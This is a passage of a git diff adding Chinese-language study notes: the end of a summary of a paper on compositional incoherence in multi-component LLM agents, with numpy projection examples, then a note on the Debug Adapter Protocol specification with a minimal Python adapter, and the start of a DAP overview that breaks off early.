$\mathcal{M}^{\star}$ 外 | +| 看不出谁「错了」 | 单组件监控检测不到 | $\varepsilon^{\star}>0$ 作为系统级证书 | +| 按比例归一化修一下 | 投影到合法概率区域 | hierarchical Boyle–Dykstra / $\Pi^{\star}$ | + +--- + +## 这篇论文在解决什么问题 + +### 1. 现有手段为什么不够 + +对**单个** LLM 输出,业界已有不少「一致性」工具: + +- **校准(calibration)**:让 $P(\text{事件})$ 与长期频率对齐 +- **自洽采样(self-consistency)**:多次采样再投票 +- **保形预测(conformal prediction)**:分布无关的覆盖保证 + +这些都在**组件内部**运作。它们**看不见**跨组件逻辑约束,例如: + +- **否定**:$P(A)+P(\neg A)=1$(两个 specialist 各报一半) +- **划分(partition)**:互斥结果概率之和为 1(多个 specialist 各管一块) +- **合取/析取**:Fréchet 边界约束 $P(A\land B)\leq\min(P(A),P(B))$ 等 + +论文的核心论断:**per-component coherence 一般不能修复 composed system**;失败是**结构性的**,不是 prompt 写不好就能根治。 + +### 2. 论文贡献(操作化视角) + +| 贡献 | 含义 | +|------|------| +| **组合残差** $\varepsilon^{\star}$ | 局部修复后再聚合的报价,到联合 coherent polytope 的 $L_2$ 距离;**运行时**可算 | +| **乘积结构二分法**(Thm 3.3) | 局部一致 ⇒ 全局一致,当且仅当联合多面体可分解为局部笛卡尔积 | +| **Rayleigh 商预测**(Cor 3.9) | 从 specialist 面板协方差预测 $\varepsilon^{\star}$ 量级 | +| **层次 Boyle–Dykstra 投影** | 确定性修复,保留 specialist 路由 | +| **e-process** | 序列部署中的 anytime-valid 一致性监测 | +| **可分解 benchmark** | 1,876 个 ensemble cliques,四类逻辑关系 | + +### 3. 实证快照(论文 §5) + +- 四类 contemporary LLM 组成的中端 panel 上,**33%–94%** 的 clique 出现 $\varepsilon^{\star}>0$ +- 关系类难度排序(约束越紧,残差越大):**partition > negation > disjunction > conjunction** +- Cor 3.9 的 magnitude 预测在四类中**三类误差 < 7%** +- 朴素组合下 exposure 界 $\sqrt{m^{\star}}\varepsilon^{\star}$ 平均约 **0.137**;层次投影可压到 QP 数值地板 +- 三种直觉缓解(检索、partition-aware prompting、aggregator-LLM)**均失败或回退** + +--- + +## 核心概念 + +### 1. Clique 与 coherent polytope + +一个 **clique** $C=(Q_1,\ldots,Q_m,R)$ 包含 $m$ 个 Bernoulli 问题及逻辑关系 $R$。de Finetti 定理保证:所有与 $R$ 一致的边际概率向量构成闭凸多面体 + +$$ +\mathcal{M}_C = \left\{ r \in [0,1]^m : \exists\,\mu \in \Delta(\{0,1\}^m)\ \text{与 } R \text{ 一致} \right\}. +$$ + +**投影** $\Pi_C(\hat{p})$ 是把报价 $\hat{p}$ 投到 $\mathcal{M}_C$ 上最近的点;**残差** $\varepsilon_C(\hat{p})=\|\hat{p}-\Pi_C(\hat{p})\|_2$ 衡量「离合法概率有多远」。 + +### 2. 多组件 Agent 与 owner-selected aggregation + +- $k$ 个子模型,各自输出 $\hat{p}^{(a)} \in [0,1]^{m_a}$ +- 组件级 **JCD(Joint-Coherent Decoding)**:$\Pi_a(\hat{p}^{(a)})\in\mathcal{M}_a$ +- 联合问题集 $\mathcal{Q}^{\star}=\bigcup_a \mathcal{Q}_a$,大小 $m^{\star}$ +- **耦合集** $\mathcal{C}$:跨组件同一问题标识、逻辑关系、跨组件 partition 等 +- **Owner-selected aggregation**:每个联合坐标 $j$ 只由一个组件「拥有」;聚合器**只选取**,不平均、不重采样 + +> 若改用坐标平均 $\mathcal{A}^{\mathrm{avg}}$,凸性保证输出已在 $\mathcal{M}^{\star}$ 内,LCGI **结构性消失**——但代价是每个坐标要 $k$ 次 elicitation,与 specialist 路由的设计目标相悖。 + +### 3. 组合残差 $\varepsilon^{\star}$(Definition 3.1) + +$$ +\varepsilon^{\star}(\hat{p}) = \left\| \mathcal{A}(\Pi_1\hat{p}^{(1)},\ldots,\Pi_k\hat{p}^{(k)}) - \Pi^{\star}\!\left(\mathcal{A}(\Pi_1\hat{p}^{(1)},\ldots,\Pi_k\hat{p}^{(k)})\right) \right\|_2 +$$ + +读法:先把各组件**局部修到自洽**,再按 owner 规则**拼起来**,看这份联合报价离**全局** coherent 集合还有多远。 + +- $\varepsilon^{\star}=0$:局部修复已满足跨组件约束 +- $\varepsilon^{\star}>0$:**证书级**证明系统级不一致;单看任一组件无法发现 + +### 4. 乘积结构二分法(Theorem 3.3) + +记 $\mathcal{M}^{\boxtimes}=\bigcap_a \mathcal{M}_a^{\uparrow}$(只有局部约束、无跨组件耦合时的联合可行集)。 + +**定理**:在 owner-selected aggregation 下, + +$$ +\text{局部一致总能保证全局一致} \iff \mathcal{M}^{\star}=\mathcal{M}^{\boxtimes}. +$$ + +- **相等**:$L_2$ 投影可 blockwise 分解,$\varepsilon^{\star}\equiv 0$(局部-then-global 与 global 交换) +- **真子集**:存在局部皆 coherent 的组成报价,使 $\varepsilon^{\star}>0$ + +这就是论文所称的 **non-commutation theorem**:「先局部修复再聚合」与「先聚合再全局修复」**何时可交换**。 + +### 5. 暴露界与 Brier 改进 + +- **FTAP 暴露**(Cor 3.5):$\mathrm{Exposure}^{\star}\leq\sqrt{m^{\star}}\,\varepsilon^{\star}$ +- **Pythagorean Brier**(Cor 3.6):全局投影确定性降低 Brier,slack 恰为 $(\varepsilon^{\star})^2$ +- **Rayleigh 商**(Cor 3.9):在随机 owner 分配下,$\mathbb{E}[(\varepsilon^{\star})^2]$ 可由 specialist 协方差与约束法向量闭式估计 + +### 6. 层次 Boyle–Dykstra 修复(Theorem 3.10) + +对局部多面体 $\{\mathcal{M}_a^{\uparrow}\}$ 与耦合集 $\mathcal{C}$ 做 **循环 $L_2$ 投影**,收敛到 $\mathcal{M}^{\star}$ 上的最近点。partition 等 equality 约束常可一步闭式(simplex 投影);conjunction/disjunction 的 Fréchet 多面体才需要完整循环。 + +### 7. 运行时三种模式 + +| 模式 | 行为 | +|------|------| +| **Monitor** | 记录 $\varepsilon^{\star}$,超阈值告警 | +| **Repair** | 下游使用前替换为 $\Pi^{\star}(\cdot)$ | +| **Abstain** | $\varepsilon^{\star}>\tau$ 时拒答或升级人工 | + +长期部署还可对残差流 $(\varepsilon^{\star}_t)$ 做 **e-process** 序列检验(§3.7)。 + +--- + +## 代码示例 1:计算 partition 上的组合残差 + +四个 specialist 各报一块互斥赛道的概率,owner-selected 拼接后检查是否违反 $\sum_i p_i = 1$。 + +```python +import numpy as np + +def project_simplex(v: np.ndarray) -> np.ndarray: + """把向量投影到概率单纯形 {x >= 0, sum x = 1}(Euclidean)。""" + v = np.asarray(v, dtype=float) + if v.sum() <= 1 and np.all(v >= 0): + return v + # 经典排序法:O(m log m) + u = np.sort(v)[::-1] + cssv = np.cumsum(u) + rho = np.nonzero(u * np.arange(1, len(v) + 1) > (cssv - 1))[0][-1] + theta = (cssv[rho] - 1) / (rho + 1) + return np.maximum(v - theta, 0) + +def compositional_residual_partition(quote: np.ndarray) -> float: + """ + partition clique:m 个互斥结果,约束 sum(p)=1, p>=0。 + ε* = ||quote - Π*(quote)||_2 + """ + quote = np.clip(np.asarray(quote, dtype=float), 0.0, 1.0) + repaired = project_simplex(quote) + return float(np.linalg.norm(quote - repaired)) + +# 论文 Figure 1 风格:四块 partition,局部各自合理,拼接总和 2.50 +sector_probs = np.array([0.39, 0.73, 0.67, 0.71]) +eps_star = compositional_residual_partition(sector_probs) + +print(f"sum(quote) = {sector_probs.sum():.2f}") # 2.50 +print(f"ε* (partition) ≈ {eps_star:.3f}") # 论文报告 ~0.749(含 JCD 等细节时略异) +print(f"repaired = {project_simplex(sector_probs)}") +print(f"sum(repaired) = {project_simplex(sector_probs).sum():.6f}") +``` + +要点:**每个分量单独看都在 [0,1]**,但联合约束是「质量和为 1」——这就是 $\mathcal{M}^{\star}\subsetneq\mathcal{M}^{\boxtimes}$ 的典型情形。 + +--- + +## 代码示例 2:negation 约束与 exposure 上界 + +两个组件分别回答 $P(A)$ 与 $P(\neg A)$,耦合约束 $p_A + p_{\neg A} = 1$。 + +```python +import numpy as np + +def project_negation_pair(p_a: float, p_not_a: float) -> tuple[float, float]: + """投影到 {p_a + p_not_a = 1, 0<=p<=1}。""" + v = np.array([p_a, p_not_a], dtype=float) + v = np.clip(v, 0.0, 1.0) + s = v.sum() + if abs(s - 1.0) < 1e-12: + return float(v[0]), float(v[1]) + # 等式约束下的 L2 投影:沿 (1,1) 方向平移 + shift = (s - 1.0) / 2.0 + v = v - shift + v = np.clip(v, 0.0, 1.0) + # 若 clipping 破坏等式,再投影一次(小规模闭式足够) + if abs(v.sum() - 1.0) > 1e-9: + v = project_simplex(v) + return float(v[0]), float(v[1]) + +def exposure_bound(eps_star: float, m_star: int) -> float: + """Cor 3.5: Exposure* <= sqrt(m*) * ε*(论文实验用 LMSR 统计)。""" + return float(np.sqrt(m_star) * eps_star) + +# 研究组件报 P(Republican)=0.6,预测组件报 P(Democrat)=0.6 —— 论文引言例子 +p_rep, p_dem = 0.6, 0.6 +quote = np.array([p_rep, p_dem]) +repaired = np.array(project_negation_pair(p_rep, p_dem)) +eps = float(np.linalg.norm(quote - repaired)) + +print(f"naive mass = {quote.sum():.2f}") # 1.20 —— 不可能测度 +print(f"ε* (negation) ≈ {eps:.3f}") +print(f"repaired = {repaired}, sum = {repaired.sum():.3f}") +print(f"exposure bound sqrt(m*)ε* ≈ {exposure_bound(eps, m_star=2):.3f}") +``` + +若 $p_A+p_{\neg A}=1.2$,则存在**无风险套利组合**(Dutch book):对手可以在你的报价上同时买/卖合约锁定正收益。论文强调:**各组件局部 Dutch-book exposure 可为 0**,正暴露**完全来自跨组件 incoherence**。 + +--- + +## 代码示例 3:模拟 owner-selection 与 Rayleigh 商量级(可选直觉) + +```python +import numpy as np + +def expected_eps_sq_rayleigh(panel: np.ndarray, a: np.ndarray, kappa: float = 1.0) -> float: + """ + Cor 3.9 简化版:E[(ε*)^2] ≈ κ * (a^T D a / ||a||^2) + panel: shape (k, m) — k 个 specialist 在 m 维联合坐标上的 JCD 后报价 + a: 绑定约束的法向量(partition 时 a=1 向量;negation 时 a=(1,1)) + """ + bar = panel.mean(axis=0) + D = np.diag(((panel - bar) ** 2).mean(axis=0)) # 独立 owner 分配下的有效协方差 + num = float(a @ D @ a) + den = float(a @ a) + return kappa * num / den + +# 4 个 LLM 对 4 维 partition 各给一个「偏乐观」报价(示意) +rng = np.random.default_rng(0) +panel = rng.uniform(0.45, 0.75, size=(4, 4)) +a_partition = np.ones(4) +pred = np.sqrt(expected_eps_sq_rayleigh(panel, a_partition, kappa=1.0)) +print(f"predicted E[ε*] (order of magnitude) ≈ {pred:.3f}") +``` + +论文在 1,876 个 cliques 上验证:该预测与观测 residual 在 negation / partition / disjunction 上匹配良好;conjunction 因 $\bar{\Pi}$ 离边界较远,经验 $\kappa$ 略低。 + +--- + +## 四类逻辑关系与难度排序 + +| 关系类 | 典型约束 | 耦合强度 | 经验 residual 倾向 | +|--------|---------|---------|-------------------| +| **Conjunction** | Fréchet 上界 | 较弱 | 最小 | +| **Disjunction** | Fréchet 下界 | 中等 | 较小 | +| **Negation** | $p+q=1$ | 较强 | 较大 | +| **Partition** | $\sum p_i=1$ | 最强 | **最大** | + +partition 的修复在「未 clip」情形下甚至就是给每个坐标减去 $(\sum p_i - 1)/m^{\star}$——算法简单,但**原始错误最大**,因为约束直接作用于质量和。 + +--- + +## 与 Agent 框架的关系 + +LangGraph、AutoGen、CrewAI 等框架常见模式: + +1. Planner 路由子任务 +2. 各 tool / sub-agent 返回局部结论(含概率、分类、数值) +3. Orchestrator **拼接**进下游 prompt 或决策 + +若步骤 3 是 owner-selected(每个字段来自单一 specialist),且存在跨字段逻辑约束,则 LCGI **不是 edge case**。论文证明:仅监控各模块输出无法检测此类失败——必须在**组合层**计算 $\varepsilon^{\star}$ 或做 $\Pi^{\star}$ 修复。 + +--- + +## 局限与开放问题(论文 §6 摘要) + +- 耦合集 $\mathcal{C}$ 需**显式声明**;从 agent transcript **隐式恢复** $\mathcal{C}$ 仍开放 +- 层次投影保证几何/Brier 改进,但若真实标签 $p^{\star}\notin\mathcal{M}^{\star}$(标注与逻辑结构不一致),预测增益可能反转(Cor 3.7) +- Abstain 阈值 $\tau$ 与预算化 exposure 的校准未完全解决 + +--- + +## 一句话带走 + +> **多组件 LLM Agent 的失败模式之一:每个部件Locally 看起来是合法概率,拼起来却违反联合逻辑;$\varepsilon^{\star}$ 是可运行时计算的「系统级不一致证书」,Boyle–Dykstra 投影给出确定性修复——这不是 prompt 工程能替代的结构问题。** + +--- + +## 延伸阅读 + +- 论文 HTML:[arXiv:2605.30335](https://arxiv.org/html/2605.30335v1) +- 作者代码仓库:[akotawala10/composition-incoherence-icml](https://github.com/akotawala10/composition-incoherence-icml) +- 相关 benchmark 数据:Paleka et al. (2025) ensemble cliques;Polymarket partition 场景 +- 凸投影理论:Bauschke & Combettes (2017);Boyle–Dykstra (1986) +- 一致性哲学基础:de Finetti (1937) Dutch book / FTAP + +--- + +## BibTeX + +```bibtex +@misc{kotawala2026lcgi, + title = {Locally Coherent, Globally Incoherent: Bounding Compositional Incoherence in Multi-Component LLM Agents}, + author = {Kotawala, Anany}, + year = {2026}, + eprint = {2605.30335}, + archivePrefix = {arXiv}, + primaryClass = {cs.LG}, + url = {https://arxiv.org/abs/2605.30335} +} +``` diff --git a/src/content/docs/papers/dap-spec.md b/src/content/docs/papers/dap-spec.md new file mode 100644 index 000000000..c8bf6d0d8 --- /dev/null +++ b/src/content/docs/papers/dap-spec.md @@ -0,0 +1,315 @@ +--- +title: Debug Adapter Protocol Specification — 零基础读懂调试协议规范 +来源: https://microsoft.github.io/debug-adapter-protocol/specification +日期: 2026-06-13 +子分类: 编辑器与 IDE +分类: CLI +provenance: pipeline-v3 +--- + +## 是什么 + +**Debug Adapter Protocol Specification(DAP 规范)** 是 Microsoft 在 [microsoft.github.io/debug-adapter-protocol](https://microsoft.github.io/debug-adapter-protocol/) 上发布的正式技术文档,当前稳定版本为 **1.71.0**。它用 TypeScript 风格的 interface 精确定义了**开发工具(Client)** 与 **Debug Adapter** 之间交换的每一条 JSON 消息:字段名、类型、是否必填、语义约束,以及 Request 与 Event 的合法顺序。 + +日常类比:你买了一台「万能空调遥控器」(VS Code、Cursor、Neovim),说明书上写着:按「模式」键发 `initialize`,按「温度」键发 `setBreakpoints`,空调(Debug Adapter)必须回 `response` 或主动推 `event`。DAP 规范就是这份**遥控器与空调之间的通信说明书**——不是教你空调压缩机怎么转,而是规定「按下制冷时,遥控器发什么 JSON、空调必须回什么 JSON、什么时候主动响蜂鸣器(`stopped` event)」。各品牌空调内部电路不同(GDB、lldb、JDWP),但对外接口统一,遥控器只学一份说明书。 + +技术定义:规范分五大部分——**Base Protocol**(传输帧与三种消息基类)、**Events**(Adapter 主动推送)、**Requests**(Client 发起、需回复)、**Reverse Requests**(Adapter 反向请求 Client,如 `runInTerminal`)、**Types**(`Source`、`StackFrame`、`Variable` 等共享数据结构)。机器可读 JSON Schema 见 [debugProtocol.json](https://microsoft.github.io/debug-adapter-protocol/debugProtocol.json)。 + +## 为什么重要 + +零基础读规范,能解决这些「只会点 F5 却不知道背后发生了什么」的问题: + +- 为什么断点有时变灰——规范要求 `setBreakpoints` 返回 `verified: false` 时 Client 必须提示未生效 +- 为什么程序刚启动就停住——Adapter 在 `configurationDone` 完成前不应结束 `launch`/`attach`,但可以在入口发 `stopped`(reason: `entry`) +- 为什么单步后变量树要重新展开——`variablesReference` 在 **continue 之后失效**,这是规范写死的生命周期 +- 为什么 Neovim 能复用 VS Code 的 `debugpy`——双方实现的是同一份 Specification,不是同一份二进制 + +## 规范文档结构 + +打开 [Specification 页面](https://microsoft.github.io/debug-adapter-protocol/specification),可按目录分层阅读: + +``` +Specification +├── Base Protocol ← 帧格式、ProtocolMessage / Request / Response / Event +├── Events ← initialized, stopped, terminated, output, thread … +├── Requests ← initialize, launch, setBreakpoints, stackTrace … +├── Reverse Requests ← runInTerminal(Adapter 请 Client 开终端) +└── Types ← Source, Breakpoint, StackFrame, Variable, Capabilities … +``` + +每条 Request/Event 在规范里都有:命令名(`command` / `event` 字段值)、参数结构、响应 `body`、相关 capability 标志。实现适配器时,应把规范当**合同**:Client 按合同发,Adapter 按合同回;缺字段或乱序可能导致 VS Code 静默丢功能。 + +## 核心概念 + +### 1. Base Protocol:与 LSP 同款的「信封」 + +规范规定消息经 **stdin/stdout** 或 **TCP** 传输,每条消息 = ASCII 报头 + UTF-8 JSON: + +| 报头字段 | 含义 | +|----------|------| +| `Content-Length` | body 字节数(唯一必填报头) | + +body 中所有消息继承 `ProtocolMessage`: + +| 字段 | 类型 | 含义 | +|------|------|------| +| `seq` | number | 单调递增序号;Request 的 `seq` 用于匹配 Response 的 `request_seq` | +| `type` | string | `request` / `response` / `event` | + +三种形态: + +| type | 关键字段 | 方向 | 需回复 | +|------|----------|------|--------| +| request | `command`, `arguments?` | Client → Adapter | 是 | +| response | `request_seq`, `success`, `command`, `body?`, `message?` | Adapter → Client | — | +| event | `event`, `body?` | Adapter → Client | 否 | + +### 2. Capabilities:永远 v1 的扩展方式 + +规范**自诞生起主版本恒为 1**。新功能不靠 bump 版本,靠 `initialize` 交换的 **Capabilities** 布尔标志。字段**不存在**即表示不支持,不必写 `false`。 + +Client 常见:`supportsRunInTerminalRequest`、`supportsVariablePaging`、`supportsCancelRequest` +Adapter 常见:`supportsConfigurationDoneRequest`、`supportsConditionalBreakpoints`、`supportsEvaluateForHovers` + +### 3. Launch Sequencing:规范强制时序 + +这是读规范时最容易踩坑的一章。正确顺序: + +1. Client → `initialize` → Adapter 回 `InitializeResponse`(含 capabilities) +2. Client → `launch` 或 `attach`(可早于断点配置,但 Adapter **不应**在此时完成响应) +3. Adapter → `initialized` **event**(宣布可以收断点了) +4. Client → `setBreakpoints` / `setFunctionBreakpoints` / `setExceptionBreakpoints`(零条或多条) +5. Client → `configurationDone` +6. Adapter → 完成 `launch`/`attach` 的 **Response**,程序真正跑起来 + +违反「在 `initialized` 之前不发断点配置」会导致部分 Adapter 丢断点。 + +### 4. 暂停态瀑布:Types 章的对象引用 + +程序暂停时,Client 按规范建议的顺序拉状态: + +``` +threads → stackTrace → scopes → variables → variables(子字段) +``` + +`StackFrame` 不内嵌变量列表,而通过 `variablesReference`(正整数句柄)延迟获取。规范约定:与**当前暂停态**绑定的引用在 **continue 后失效**;`evaluate` 与 `output` 里的引用应尽量跨暂停保留。 + +### 5. setBreakpoints:全量语义 + +对**单个源文件**一次传**全部**断点(非增量)。Adapter 典型实现:清除该文件旧断点 → 应用新列表 → 在 Response 里返回**实际生效**的断点(位置可能被调试器微调)。暂时无法验证时设 `verified: false`,之后用 `breakpoint` **event** 更新 UI。 + +### 6. Reverse Requests + +少数操作必须由 Client 代劳(如在集成终端里启动被调试进程)。Adapter 发 `runInTerminal` **Reverse Request**,Client 执行后回 Response。是否支持由 Client 在 `initialize` 里声明 `supportsRunInTerminalRequest`。 + +## 代码示例 + +### 示例 1:按规范手工组帧 — `initialize` 请求 + +下面是一条符合 Base Protocol 的完整字节流(`\r\n` 为 CRLF)。Client 会话第一条消息通常是 `initialize`: + +```text +Content-Length: 156 + +{ + "seq": 1, + "type": "request", + "command": "initialize", + "arguments": { + "clientID": "study-note", + "clientName": "Study DAP Client", + "adapterID": "example", + "pathFormat": "path", + "linesStartAt1": true, + "columnsStartAt1": true, + "supportsVariableType": true, + "supportsRunInTerminalRequest": true + } +} +``` + +Adapter 必须回 `InitializeResponse`,并在 `body` 里声明能力,例如: + +```json +{ + "seq": 2, + "type": "response", + "request_seq": 1, + "success": true, + "command": "initialize", + "body": { + "supportsConfigurationDoneRequest": true, + "supportsSetVariable": true, + "supportsConditionalBreakpoints": true + } +} +``` + +随后 Adapter 发 `initialized` event(无 request_seq): + +```json +{ + "seq": 3, + "type": "event", + "event": "initialized" +} +``` + +读规范时对照 [Initialize Request](https://microsoft.github.io/debug-adapter-protocol/specification#Requests_Initialize) 与 [Capabilities](https://microsoft.github.io/debug-adapter-protocol/specification#Types_Capabilities) 两节,可核对每个字段是否实现。 + +### 示例 2:Python 最小 Debug Adapter — 处理 `stopped` 与 `stackTrace` + +用官方 [`debugpy`](https://github.com/microsoft/debugpy) 时,Adapter 已写好;下面展示**自己读规范实现时**要覆盖的最小 Request 处理逻辑(伪代码,突出规范字段): + +```python +import json +import sys + +def send(msg: dict) -> None: + body = json.dumps(msg, separators=(",", ":")).encode("utf-8") + sys.stdout.buffer.write(f"Content-Length: {len(body)}\r\n\r\n".encode("ascii")) + sys.stdout.buffer.write(body) + sys.stdout.buffer.flush() + +seq = 0 + +def reply(request: dict, body: dict | None = None, success: bool = True) -> None: + global seq + seq += 1 + send({ + "seq": seq, + "type": "response", + "request_seq": request["seq"], + "success": success, + "command": request["command"], + "body": body or {}, + }) + +while True: + headers = {} + while True: + line = sys.stdin.buffer.readline().decode("ascii").strip() + if not line: + break + k, v = line.split(": ", 1) + headers[k] = v + length = int(headers["Content-Length"]) + msg = json.loads(sys.stdin.buffer.read(length)) + + if msg["type"] == "request" and msg["command"] == "initialize": + reply(msg, { + "supportsConfigurationDoneRequest": True, + }) + send({"seq": 1, "type": "event", "event": "initialized"}) + + elif msg["command"] == "configurationDone": + reply(msg) + + elif msg["command"] == "launch": + # 规范:configurationDone 之后才能完成 launch response + reply(msg) + send({ + "seq": 2, + "type": "event", + "event": "stopped", + "body": {"reason": "entry", "threadId": 1}, + }) + + elif msg["command"] == "threads": + reply(msg, {"threads": [{"id": 1, "name": "Main Thread"}]}) + + elif msg["command"] == "stackTrace": + reply(msg, { + "stackFrames": [{ + "id": 1000, + "name": "main", + "line": 1, + "column": 1, + "source": {"path": "/tmp/demo.py", "name": "demo.py"}, + }], + "totalFrames": 1, + }) +``` + +真实 Adapter 还需实现 `disconnect`、`setBreakpoints`、`scopes`、`variables` 等;[官方 test suite](https://github.com/microsoft/debug-adapter-protocol/tree/main/test-suite) 按规范逐项验收。 + +### 示例 3:VS Code `launch.json` — Client 如何引用规范外的扩展字段 + +规范**不固定** `launch`/`attach` 的 `arguments` 字段(因语言而异)。VS Code 通过扩展的 `package.json` 贡献 JSON Schema;`launch.json` 里多出来的键由 Adapter 自行解析,例如调试 Python: + +```json +{ + "version": "0.2.0", + "configurations": [ + { + "name": "Python: Current File", + "type": "debugpy", + "request": "launch", + "program": "${file}", + "console": "integratedTerminal", + "justMyCode": true + } + ] +} +``` + +`type: "debugpy"` 告诉 Client 启动哪个 Adapter 可执行文件;`program`、`justMyCode` 等**不在 DAP 规范正文里**,但会原样放进 `launch` request 的 `arguments`,Adapter 按自己的 schema 读取。读规范时要区分:**wire 协议是统一的,launch 参数 schema 是 per-adapter 的**。 + +## 规范中的关键 Request / Event 速查 + +| 名称 | 类型 | 规范章节要点 | +|------|------|----------------| +| `initialize` | Request | 会话第一步;交换 capabilities | +| `launch` / `attach` | Request | 启动模式;arguments 由 Adapter 定义 | +| `configurationDone` | Request | 断点配置结束标志 | +| `setBreakpoints` | Request | 单文件全量断点;返回 verified 状态 | +| `continue` / `next` / `stepIn` / `stepOut` | Request | 均需 `threadId` | +| `threads` | Request | 即使单线程也必须返回至少一个 thread | +| `stackTrace` | Request | `startFrame`/`levels` 支持分页 | +| `scopes` / `variables` | Request | 通过 `variablesReference` 间接访问 | +| `evaluate` | Request | 调试控制台 / hover 求值 | +| `disconnect` / `terminate` | Request | launch 与 attach 结束语义不同 | +| `initialized` | Event | 触发断点配置阶段 | +| `stopped` | Event | `reason`: entry, breakpoint, exception, pause… | +| `output` | Event | stdout/stderr 到调试控制台 | +| `terminated` | Event | 会话结束;可带 `restart` 提示 | + +## 与姊妹协议 LSP 的对比 + +| 维度 | LSP Specification | DAP Specification | +|------|-------------------|-------------------| +| 解决问题 | 编辑期智能(补全、诊断) | 运行期调试(断点、单步、变量) | +| JSON 形态 | JSON-RPC 2.0(`method` + `id`) | 自定义(`command` + `seq`) | +| 传输帧 | Content-Length + JSON | 相同 | +| 版本 | 3.17 等显式版本 | 永久 1.x + capabilities | +| 反向调用 | 较少 | `runInTerminal` 等 Reverse Requests | + +同一工具链常成对出现:Python 用 Pylance(LSP)+ debugpy(DAP);Go 用 gopls(LSP)+ Delve DAP(DAP)。 + +## 如何系统阅读这份规范 + +1. **先读 [Overview](https://microsoft.github.io/debug-adapter-protocol/overview)** — 序列图比直接啃 Types 更友好 +2. **精读 Base Protocol + Initialize + Launch Sequencing** — 时序错了后面全错 +3. **按需查 Events / Requests** — 实现断点只读 `setBreakpoints` 与 `breakpoint` event 两节 +4. **对照 [debugProtocol.json](https://microsoft.github.io/debug-adapter-protocol/debugProtocol.json)** — 代码生成、校验测试 +5. **跑 [test-suite](https://github.com/microsoft/debug-adapter-protocol/tree/main/test-suite)** — 用机器检查是否合规范 + +## 常见误区 + +1. **把 Specification 当成 GDB 手册** — 规范描述的是 Client↔Adapter 消息,不是底层调试器 API +2. **在 `initialized` 之前调用 `setBreakpoints`** — 违反 Launch Sequencing +3. **对 `setBreakpoints` 做增量更新** — 规范要求每文件全量替换 +4. **continue 后复用旧的 `variablesReference`** — 暂停态引用已失效 +5. **认为 `launch` 参数在规范里有统一列表** — 只有 `command` 统一,`arguments` 由 Adapter 文档定义 + +## 延伸阅读 + +- [DAP Overview(架构与生命周期)](https://microsoft.github.io/debug-adapter-protocol/overview) +- [DAP Changelog](https://microsoft.github.io/debug-adapter-protocol/changelog) — 每个 capability 何时加入 +- [VS Code Debugger Extension 指南](https://code.visualstudio.com/api/extension-guides/debugger-extension) +- [@vscode/debugadapter npm](https://www.npmjs.com/package/@vscode/debugadapter) — Node.js 实现规范消息的 SDK +- 本库姊妹笔记:[Debug Adapter Protocol 总览](./debug-adapter-protocol.md)、[Language Server Protocol 规范](./language-server-protocol-spec.md) + +--- + +**一句话总结**:DAP Specification 是「调试遥控器」与「调试适配器」之间的合同——用 Content-Length 帧传递 JSON,用 capabilities 扩展功能,用严格的 Launch Sequencing 和 `variablesReference` 生命周期保证所有 IDE 共享同一套调试体验;零基础读者应先掌握时序与三种消息类型,再按实现需求查阅具体 Request/Event 章节。 diff --git a/src/content/docs/papers/debug-adapter-protocol.md b/src/content/docs/papers/debug-adapter-protocol.md new file mode 100644 index 000000000..ccba555c1 --- /dev/null +++ b/src/content/docs/papers/debug-adapter-protocol.md @@ -0,0 +1,390 @@ +--- +title: Debug Adapter Protocol — 让编辑器共享同一套「调试遥控器」的通用协议 +来源: https://microsoft.github.io/debug-adapter-protocol/ +日期: 2026-06-13 +子分类: 编辑器与 IDE +分类: CLI +provenance: pipeline-v3 +--- + +## 是什么 + +**Debug Adapter Protocol(DAP,调试适配器协议)** 是 Microsoft 维护的一份开放规范(当前稳定版本 **1.71.0**),定义了**开发工具(客户端)** 与**调试后端(Debug Adapter)** 之间如何通过 **JSON 消息** 交换调试指令与状态。它与 2016 年发布的 **Language Server Protocol(LSP)** 是同一思路的姊妹协议:LSP 统一「补全/跳转/诊断」,DAP 统一「断点/单步/变量/调用栈」。 + +日常类比:你去不同品牌的电视(Sony、Samsung、小米),每台遥控器按键布局都不一样——换台、音量、输入源各有一套。DAP 相当于**通用红外遥控协议**:VS Code、Neovim、JetBrains、Zed 都是「万能遥控器外壳」,Python Debugger、Delve(Go)、lldb-vscode、Java Debug Adapter 都是「被控的电视机」。遥控器只发标准指令(下一步、暂停、设断点),电视机内部的芯片怎么解码由各家自己实现;**写一次 Debug Adapter,所有支持 DAP 的编辑器都能调试**。 + +技术定义:DAP 在 **Base Protocol**(带 `Content-Length` 头的帧格式,与 LSP 几乎相同)之上定义三类消息——**Request**(客户端 → 适配器,需回复)、**Response**(对 Request 的回复)、**Event**(适配器 → 客户端,异步通知,如 `stopped`、`terminated`)。规范不要求调试器原生支持 DAP;现实中几乎总是通过一个**中间层 Debug Adapter** 把 GDB、lldb、JDI、Delve API 等「方言」翻译成 DAP「普通话」。 + +## 为什么重要 + +不理解 DAP,下面这些事都没法解释: + +- 为什么 VS Code 里调试 Python、Go、Rust、Java 的 UI 长得几乎一样——底层都是同一套 DAP 客户端,不是每个语言重写一套调试面板 +- 为什么 Neovim 的 `nvim-dap` 能复用 VS Code 生态的 `debugpy`、`delve` 适配器——协议相同,只是客户端不同 +- 为什么新语言想接入主流 IDE,往往先写 **Debug Adapter** 而不是给每个编辑器写插件——适配器可跨工具复用 +- 为什么 DAP 刻意保持 **v1 永不破坏兼容**——靠 **Capabilities(能力标志)** 协商新特性,而不是升主版本号 + +## 架构一览 + +``` +┌─────────────────────────────────────────────────────────┐ +│ 开发工具(DAP Client / Host) │ +│ VS Code · Neovim+nvim-dap · Cursor · JetBrains · Zed │ +│ 通用调试 UI:断点栏、变量树、调用栈、调试控制台、线程列表 │ +└───────────────────────────┬─────────────────────────────┘ + │ JSON Request / Response / Event + │ 传输:stdio(常见)或 TCP socket +┌───────────────────────────▼─────────────────────────────┐ +│ Debug Adapter(中间层) │ +│ debugpy · delve/dap · lldb-vscode · Java Debug Adapter │ +│ 把 DAP 命令映射到具体调试器 API │ +└───────────────────────────┬─────────────────────────────┘ + │ 原生调试接口 +┌───────────────────────────▼─────────────────────────────┐ +│ 调试器 / Runtime │ +│ GDB · lldb · JVM JDWP · Python sys.settrace · Delve … │ +└─────────────────────────────────────────────────────────┘ +``` + +**关键设计选择**:标准化的是 **wire protocol(线上协议)**,不是 C++/Java 的 client library。适配器可以用最适合该调试器的语言实现(Python 写 `debugpy`、Go 写 Delve DAP、Node.js 写 `@vscode/debugadapter`)。 + +## 核心概念 + +### 1. Base Protocol(传输 + 帧格式) + +与 LSP 一样,每条消息由 **ASCII 报文头** + **UTF-8 JSON body** 组成: + +``` +Content-Length: 119\r\n +\r\n 